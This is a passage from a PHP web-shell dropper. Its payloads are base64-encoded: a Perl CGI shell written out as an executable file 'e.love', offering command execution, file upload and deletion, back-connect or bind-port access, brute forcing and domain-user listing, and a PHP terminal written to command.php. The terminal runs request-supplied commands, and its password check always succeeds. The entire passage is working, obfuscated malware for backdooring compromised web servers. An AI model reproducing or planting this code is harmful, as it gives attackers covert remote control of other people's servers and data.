bkNvbW1hbmQgPSBkZWNvZGVfYmFzZTY0KCRpbnsnYyd9KTsKJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9OwokT3B0aW9ucyA9ICRpbnsnbyd9OwokQWN0aW9uID0gJGlueydhJ307CgokQWN0aW9uID0gImNvbW1hbmQiIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0CgojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkCiRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKGRlY29kZV9iYXNlNjQodHJpbSgkaW57J2QnfSkpKTsKIyBtYWMgZGluaCB4dWF0IHRob25nIHRpbiBuZXUga28gY28gbGVuaCBuYW8hCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7CmNob21wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcigiZCIpOwoJaWYoISRXaW5OVCkKCXsKCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJaWYoJGNobW9kIG5lIDApCgkJewoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJCSRmaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7CgkJCWlmKGNobW9kKCRjaG1vZCwkZmlsZSkpCgkJCXsKCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQkJfWVsc2UKCQkJewoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQkJfQoJCX0KCX0KCSRyZW5hbWU9JGlueydyZW5hbWUnfTsKCWlmKCRyZW5hbWUgbmUgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn1lbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJCQkJCSMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZVcGxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQKewoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOwoJcHJpbnQgJkJhY2tCaW5kOwp9ZWxzaWYoJEFjdGlvbiBlcSAiYnJ1dGVmb3JjZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gYnJ1dGUgZm9yY2UKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZCcnV0ZUZvcmNlcjsKfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUKewoJcHJpbnQgJkRvd25sb2FkRmlsZTsKfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmVmlld0xvZzsKCn1lbHNpZigkQWN0aW9uIGVxICJkb21haW5zdXNlciIpIAkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxpc3QgdXNlci9kb21haW4KewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3RG9tYWluVXNlcjsKfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0CnsKCSZQZXJmb3JtTG9nb3V0Owp9CiZQcmludFBhZ2VGb290ZXI7Cgo='; $file = fopen("e.love" ,"w+"); $write = fwrite ($file ,base64_decode($pythonp)); fclose($file); chmod("e.love",0755); echo " "; }//end shell error.log window via NC elseif ($action == 'newcommand') { $file = fopen($dir."command.php" ,"w+"); $perltoolss = 'PD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygwKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0KCi8qIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyMKIyMgVGhlIG1haW4gdGhpbmcgc3RhcnRzIGhlcmUKIyMgQWxsIG91dHB1dCBpc3QgWEhUTUwKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwoKJHRlcm1pbmFsPW5ldyBwaHB0aGllbmxlOwoKQHNlc3Npb25fc3RhcnQoKTsKCiR0ZXJtaW5hbC0+aW5pdFZhcnMoKTsKJHRlcm1pbmFsLT5idWlsZENvbW1hbmRIaXN0b3J5KCk7CiR0ZXJtaW5hbC0+YnVpbGRKYXZhSGlzdG9yeSgpOwppZighaXNzZXQoJF9TRVNTSU9OWydwcm9tcHQnXSkpOiAkdGVybWluYWwtPmZvcm1hdFByb21wdCgpOyBlbmRpZjsKJHRlcm1pbmFsLT5vdXRwdXRIYW5kbGUoJGFsaWFzZXMpOwoKaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOwplY2hvICc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/PicgLiAiXG4iOwo/PgoKPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgU3RyaWN0Ly9FTiIKImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgeG1sOmxhbmc9ImVuIiBsYW5nPSJlbiI+CjxoZWFkPgo8dGl0bGU+PD9waHAgZWNobyAiV2Vic2l0ZSA6ICIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIiOz8+IHwgPD9waHAgZWNobyAiSVAgOiAiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIiOz8+PC90aXRsZT4KCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+CnZhciBjdXJyZW50X2xpbmUgPSAwOwp2YXIgY29tbWFuZF9oaXN0ID0gbmV3IEFycmF5KDw/cGhwIGVjaG8gJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXTsgPz4pOwp2YXIgbGFzdCA9IDA7CgpmdW5jdGlvbiBrZXkoZSkgewppZiAoIWUpIHZhciBlID0gd2luZG93LmV2ZW50OwoKaWYgKGUua2V5Q29kZSA9PSAzOCAmJiBjdXJyZW50X2xpbmUgPCBjb21tYW5kX2hpc3QubGVuZ3RoLTEpIHsKY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV0gPSBkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlOwpjdXJyZW50X2xpbmUrKzsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZSA9IGNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdOwp9CgppZiAoZS5rZXlDb2RlID09IDQwICYmIGN1cnJlbnRfbGluZSA+IDApIHsKY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV0gPSBkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlOwpjdXJyZW50X2xpbmUtLTsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZSA9IGNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdOwp9Cgp9CgpmdW5jdGlvbiBpbml0KCkgewpkb2N1bWVudC5zaGVsbC5zZXRBdHRyaWJ1dGUoImF1dG9jb21wbGV0ZSIsICJvZmYiKTsKZG9jdW1lbnQuc2hlbGwub3V0cHV0LnNjcm9sbFRvcCA9IGRvY3VtZW50LnNoZWxsLm91dHB1dC5zY3JvbGxIZWlnaHQ7CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQuZm9jdXMoKTsKfQoKPC9zY3JpcHQ+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmJvZHkge2ZvbnQtZmFtaWx5OiBzYW5zLXNlcmlmOyBjb2xvcjogYmxhY2s7IGJhY2tncm91bmQ6IHdoaXRlO30KdGFibGV7d2lkdGg6IGF1dG87IGhlaWdodDogYXV0bzsgYm9yZGVyOiAxcHggIzAwMDAwMCBzb2xpZDsgcGFkZGluZzogMHB4OyBtYXJnaW46IDBweDt9CnRkLmhlYWR7YmFja2dyb3VuZC1jb2xvcjogIzUyOUFERTsgY29sb3I6ICNGRkZGRkY7IGZvbnQtd2VpZ2h0OjcwMDsgYm9yZGVyOiBub25lOyB0ZXh0LWFsaWduOiBjZW50ZXI7IGZvbnQtc3R5bGU6IGl0YWxpY30KdGV4dGFyZWEge3dpZHRoOiAxMDAlOyBib3JkZXI6IG5vbmU7IHBhZGRpbmc6IDJweCAycHggMnB4OyBjb2xvcjogI0NDQ0NDQzsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDt9CnAucHJvbXB0IHtmb250LWZhbWlseTogbW9ub3NwYWNlOyBtYXJnaW46IDBweDsgcGFkZGluZzogMHB4IDJweCAycHg7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiAjQ0NDQ0NDO30KaW5wdXQucHJvbXB0IHtib3JkZXI6IG5vbmU7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiAjQ0NDQ0NDO30KPC9zdHlsZT4KPC9oZWFkPgo8Ym9keSBvbmxvYWQ9ImluaXQoKSI+Cjw/cGhwIGlmIChlbXB0eSgkX1JFUVVFU1RbJ3Jvd3MnXSkpICRfUkVRVUVTVFsncm93cyddID0gMjY7ID8+Cjx0YWJsZSBzaXplPScxMDAlJyBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgo8dHI+PHRkIGNsYXNzPSJoZWFkIiBzdHlsZT0iY29sb3I6ICMwMDAwMDA7Ij48Yj5YPC9iPjwvdGQ+Cjx0ZCBjbGFzcz0iaGVhZCI+PD9waHAgZWNobyAkX1NFU1NJT05bJ3Byb21wdCddLiI6Ii4iJF9TRVNTSU9OW2N3ZF0iOyA/Pgo8L3RkPjwvdHI+Cjx0cj48dGQgd2lkdGg9JzEwMCUnIGhlaWdodD0nMTAwJScgY29sc3Bhbj0nMic+PGZvcm0gbmFtZT0ic2hlbGwiIGFjdGlvbj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTs/PiIgbWV0aG9kPSJwb3N0Ij4KPHRleHRhcmVhIG5hbWU9Im91dHB1dCIgcmVhZG9ubHk9InJlYWRvbmx5IiBjb2xzPSI1MDAiIHJvd3M9IjQwIj4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjE1MCIgdGFiaW5kZXg9IjEiPgo8L3A+Cgo8PyAvKjxwPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRXhlY3V0ZSBDb21tYW5kIiAvPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJyZXNldCIgdmFsdWU9IlJlc2V0IiAvPgpSb3dzOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icm93cyIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9SRVFVRVNUWydyb3dzJ10gPz4iIC8+CjwvcD4KCiovCj8+CjwvZm9ybT48L3RkPjwvdHI+CjwvYm9keT4KPC9odG1sPgo8P3BocCA/Pgo8P3BocAoKJGFsaWFzZXMgPSBhcnJheSgnbGEnID0+ICdscyAtbGEnLAonbGwnID0+ICdscyAtbHZoRicsCidkaXInID0+ICdscycgKTsKJHBhc3N3ZCA9IGFycmF5KCcnID0+ICcnKTsKZXJyb3JfcmVwb3J0aW5nKDEpOwpjbGFzcyBwaHB0aGllbmxlIHsKCmZ1bmN0aW9uIGZvcm1hdFByb21wdCgpIHsKJHVzZXI9c2hlbGxfZXhlYygid2hvYW1pIik7CiRob3N0PWV4cGxvZGUoIi4iLCBzaGVsbF9leGVjKCJ1bmFtZSAtbiIpKTsKJF9TRVNTSU9OWydwcm9tcHQnXSA9ICIiLnJ0cmltKCR1c2VyKS4iIi4iQCIuIiIucnRyaW0oJGhvc3RbMF0pLiIiOwp9CgpmdW5jdGlvbiBjaGVja1Bhc3N3b3JkKCRwYXNzd2QpIHsKaWYoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pfHwKIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9QVyddKSB8fAohaXNzZXQoJHBhc3N3ZFskX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddXSkgfHwKJHBhc3N3ZFskX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddXSAhPSAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgewpAc2Vzc2lvbl9zdGFydCgpOwpyZXR1cm4gdHJ1ZTsKfQplbHNlIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KfQoKZnVuY3Rpb24gaW5pdFZhcnMoKQp7CmlmIChlbXB0eSgkX1NFU1NJT05bJ2N3ZCddKSB8fCAhZW1wdHkoJF9SRVFVRVNUWydyZXNldCddKSkKewokX1NFU1NJT05bJ2N3ZCddID0gZ2V0Y3dkKCk7CiRfU0VTU0lPTlsnaGlzdG9yeSddID0gYXJyYXkoKTsKJF9TRVNTSU9OWydvdXRwdXQnXSA9ICcnOwokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9Jyc7Cn0KfQoKZnVuY3Rpb24gYnVpbGRDb21tYW5kSGlzdG9yeSgpCnsKaWYoIWVtcHR5KCRfUkVRVUVTVFsnY29tbWFuZCddKSkKewppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKQp7CiRfUkVRVUVTVFsnY29tbWFuZCddID0gc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFsnY29tbWFuZCddKTsKfQoKLy8gZHJvcCBvbGQgY29tbWFuZHMgZnJvbSBsaXN0IGlmIGV4aXN0cwppZiAoKCRpID0gYXJyYXlfc2VhcmNoKCRfUkVRVUVTVFsnY29tbWFuZCddLCAkX1NFU1NJT05bJ2hpc3RvcnknXSkpICE9PSBmYWxzZSkKewp1bnNldCgkX1NFU1NJT05bJ2hpc3RvcnknXVskaV0pOwp9CmFycmF5X3Vuc2hpZnQoJF9TRVNTSU9OWydoaXN0b3J5J10sICRfUkVRVUVTVFsnY29tbWFuZCddKTsKCi8vIGFwcGVuZCBjb21tbWFuZCAqLwokX1NFU1NJT05bJ291dHB1dCddIC49ICJ7JF9TRVNTSU9OWydwcm9tcHQnXX0iLiI6PiIuInskX1JFUVVFU1RbJ2NvbW1hbmQnXX0iLiJcbiI7Cn0KfQoKZnVuY3Rpb24gYnVpbGRKYXZhSGlzdG9yeSgpCnsKLy8gYnVpbGQgY29tbWFuZCBoaXN0b3J5IGZvciB1c2UgaW4gdGhlIEphdmFTY3JpcHQKaWYgKGVtcHR5KCRfU0VTU0lPTlsnaGlzdG9yeSddKSkKewokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiJzsKfQplbHNlCnsKJGVzY2FwZWQgPSBhcnJheV9tYXAoJ2FkZHNsYXNoZXMnLCAkX1NFU1NJT05bJ2hpc3RvcnknXSk7CiRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J10gPSAnIiIsICInIC4gaW1wbG9kZSgnIiwgIicsICRlc2NhcGVkKSAuICciJzsKfQp9CgpmdW5jdGlvbiBvdXRwdXRIYW5kbGUoJGFsaWFzZXMpCnsKaWYgKGVyZWcoJ15bWzpibGFuazpdXSpjZFtbOmJsYW5rOl1dKiQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOyAvL2Rpcm5hbWUoX19GSUxFX18pOwp9CmVsc2VpZihlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSsoW147XSspJCcsICRfUkVRVUVTVFsnY29tbWFuZCddLCAkcmVncykpCnsKLy8gVGhlIGN1cnJlbnQgY29tbWFuZCBpcyAnY2QnLCB3aGljaCB3ZSBoYXZlIHRvIGhhbmRsZSBhcyBhbiBpbnRlcm5hbCBzaGVsbCBjb21tYW5kLgovLyBhYnNvbHV0ZS9yZWxhdGl2ZSBwYXRoID8iCigkcmVnc1sxXVswXSA9PSAnLycpID8gJG5ld19kaXIgPSAkcmVnc1sxXSA6ICRuZXdfZGlyID0gJF9TRVNTSU9OWydjd2QnXSAuICcvJyAuICRyZWdzWzFdOwoKLy8gY29zbWV0aWNzCndoaWxlIChzdHJwb3MoJG5ld19kaXIsICcvLi8nKSAhPT0gZmFsc2UpCiRuZXdfZGlyID0gc3RyX3JlcGxhY2UoJy8uLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy8nKSAhPT0gZmFsc2UpCiRuZXdfZGlyID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAkbmV3X2Rpcik7CndoaWxlIChwcmVnX21hdGNoKCd8L1wuXC4oPyFcLil8JywgJG5ld19kaXIpKQokbmV3X2RpciA9IHByZWdfcmVwbGFjZSgnfC8/W14vXSsvXC5cLig/IVwuKXwnLCAnJywgJG5ld19kaXIpOwoKaWYoZW1wdHkoJG5ld19kaXIpKTogJG5ld19kaXIgPSAiLyI7IGVuZGlmOwoKKEBjaGRpcigkbmV3X2RpcikpID8gJF9TRVNTSU9OWydjd2QnXSA9ICRuZXdfZGlyIDogJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAiY291bGQgbm9